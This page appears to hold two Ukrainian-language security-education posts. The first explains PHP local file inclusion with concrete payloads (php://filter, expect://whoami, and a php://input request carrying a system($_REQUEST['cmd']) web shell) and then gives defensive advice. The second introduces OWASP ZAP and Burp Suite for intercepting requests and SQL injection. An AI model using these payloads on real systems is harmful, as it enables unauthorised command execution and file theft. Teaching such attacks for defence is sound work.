Експлуатація цієї вразливості працює тільки на файлах, які знаходяться локально. Але є але! Деякі мови програмування та фреймворки, дозволяють робити імпорт не лише файлу типу /etc/passwd, а й "файлів" які зберігаються віддалено. Тобто, передати умовний https://google.com це не проблема і в результаті завантажиться гугл.

І ось тут вже можна видумувати багато чого і гратись з цим. Наприклад, якщо на системі встановлено той же PHP, то ви можете використовуючи PHP Filters передавати php://filter/convert.base64-encode/resource=/path/to/file як шлях. Що призведе до конвертації файлу в base64, який вам покажеться згодом. Це допомагає обходити деякі фільтри.

Або, ви можете зробити page=expect://whoami й взагалі отримати можливість виконувати команди на сервері (при наявності expect в системі, з коробки його нема).

Або взагалі красиво підійти до справи й відправити POST запит. В цьому запиті вказати Web Shell <?php system($_REQUEST['cmd']); ?>. А в query параметрі вказати поряд з page=php://input ще й cmd=whoami. В такому сценарії, PHP робить require('php://input'), що своєю чергою імпортує код з тіла POST запиту (так php://input працює) й інтерпретує його. А в тілі запиту ми тримаємо команду system(), яка викликає ту команду, яку ми вказали через параметр cmd. Що також призводить до можливості виконувати команди.

Чи вразливі інші мови?
Я на прикладі PHP розглядав це, але чи вразливі інші мови? Звісно! Всі мови програмування в тому чи іншому виді імпортують файли. У них різні для цього механізми, різні функції та й інше, але це можливо. І якщо ваш код на .NET, Java чи Node.js робить імпорт файлу, шлях до якого може контролюватись ззовні — ви в зоні ризику. А якщо ще й ті функції імпорту, які підтримують можливість робити імпорт через другі протоколи — вектор атаки збільшується.

Та чи можна захиститись?
Так, можна. Я б дав декілька порад на цю тему.

По перше, зробіть нормальний регулярний вираз, який виступає в ролі фільтра для вашого параметра. Якщо ви не можете обійтись без того, щоб не імпортувати шляхи які контролюються ззовні, то максимально затягніть пояс для можливих варіантів.

По друге, якщо хакер вже і пройде через перший фільтр, то не використовуйте для імпорту функції, які дозволяють імпортувати через інші протоколи, тільки локальні файли. Це потенційно знизить надану шкоду.

А взагалі, намагайтесь просто ніколи не робити таких імпортів. В такому випадку вектор звузиться 🙂

Читать полностью…

Wild Wild Web

OWASP ZAP та Burp Suite

Ми з вами поговорили про nmap, про те як з його допомогою аналізувати мережеві сервіси. І знати цю інформацію це дуже круто, а ще краще, знати які дані бігають між клієнтом та сервером! Знати, які запити йдуть на API, наприклад. Бачити весь трафік між клієнтом та сервером.

В цьому допомагають локальні проксі, які ви підіймаєте на локальних портах. Такі проксі приймають трафік, який ви їм кидаєте, і відправляють далі. Це якщо говорити про звичайний проксі-сервер, типу nginx, HAProxy та інші.

Але просто проксі це не цікаво. Я б не сів писати пост, якби питання було тільки в проксі 🙃

Що за OWASP ZAP чи Burp Suite?
Це інструментарій, який надає не тільки проксі, а й купу інших корисних (для хакерів) можливостей. В нього входять fuzzing атаки (про них я ще напишу окремий пост), можливість записувати історію запитів та показувати її в вигляді дерева, пасивне сканування на відомі вразливості та багато іншого — це комбайни у світі тестування вебаплікацій. Про це, навіть, говориться в самій назві одного з них - ZAP (Zed Attack Proxy).

Як виглядає процес на прикладі OWASP ZAP?
Ви запускаєте ZAP в себе на машині, та налаштовуєте його проксі на порту 8080, наприклад. Після цього, налаштовуєте свій браузер (чи не тільки браузер, за допомогою proxychains можна весь трафік перевести) на роботу через проксі. Для цього, в браузерних налаштуваннях вказуєте роботу через проксі 127.0.0.1:8080.

Маючи такі налаштування, ви можете починати переглядати вебаплікацію, шукати різні цікаві місця для можливих атак, а ZAP буде вести історію всіх запитів. Пізніше, ви зможете переглядати цю історію, бачити всі HTTP запити в чистому вигляді.

З історією запитів, які вам цікаві, ви можете їх редагувати. ZAP надає купу зручних інструментів для того, щоб перехоплювати запити, модифікувати їх по вашому бажанню і відсилати далі. А якщо вам треба буде кодувати зміст запиту, наприклад URL Encode-ом чи Base64, то в нього також це все передбачено і дуже зручно робиться в "пару кліків".

Як на практиці використовується ZAP?
Змоделюємо ситуацію, коли Frontend розробники витратили час на валідацію та захист даних, які передаються на сервер. Тобто, через форму в браузері, передати якийсь поганий запит не вийде.

Але Backend розробники, вони ті ще ліниві дупи (суджу по собі, впевнений що є нормальні), не захотіли робити всі валідації в себе, тому що Frontend розробники зробили ж.

В цій ситуації, ми за допомогою ZAP перехоплюємо всі запити на API. Маючи запит в історії, відкриваємо його в редакторі запитів і міняємо зміст на, наприклад, SQL ін'єкцію. Модифікований запит відправляється на сервер і ми отримуємо доступ до бази даних, завдяки цій ін'єкції. А якщо база даних криво налаштована, то і взагалі доступ до всієї машини, але це окрема історія на майбутнє.

Тобто, ZAP виконує роль посередника між клієнтом та сервером, інколи заміняючи клієнта повністю.

Сканери вразливостей
В цих інструментів також є можливість запустити сканери на відомі вразливості. Причому це робиться мишкою, сказати, щоб щось багато треба знати, то ні.

Коли у вас є історія запитів, ви просто вибираєте з неї цікавий endpoint, який має всі ознаки бути вразливим. Після чого, по натиску на "Active Scan", ви просто йдете пити каву. Якщо на цьому endpoint буде щось давно відоме та банальне, ZAP вам про це скаже і ви зможете це використати у своїх цілях.

Де про це можна детальніше почитати?
На Hack The Box академії є повноцінний курс, який розбирає ці два інструменти більше детально і надає вам практичні заняття. Посилання на цей курс - https://academy.hackthebox.com/course/preview/using-web-proxies.

Епілог
Я зловив себе на думці, що я зараз просто розказую про інструменти, які є у світі зломів. То я оце думаю, може краще піти не з наявних інструментів, які автоматизовують атаки, а про самі атаки розповідати? Спочатку розповісти про LFI, RCE, SSTI, та інші атаки. Як вони концептуально працюють. А потім вже, розповідати про автоматизацію? Що скажете? Чи може вам легше буде йти від інструментів до атак?

Читать полностью…
Subscribe to a channel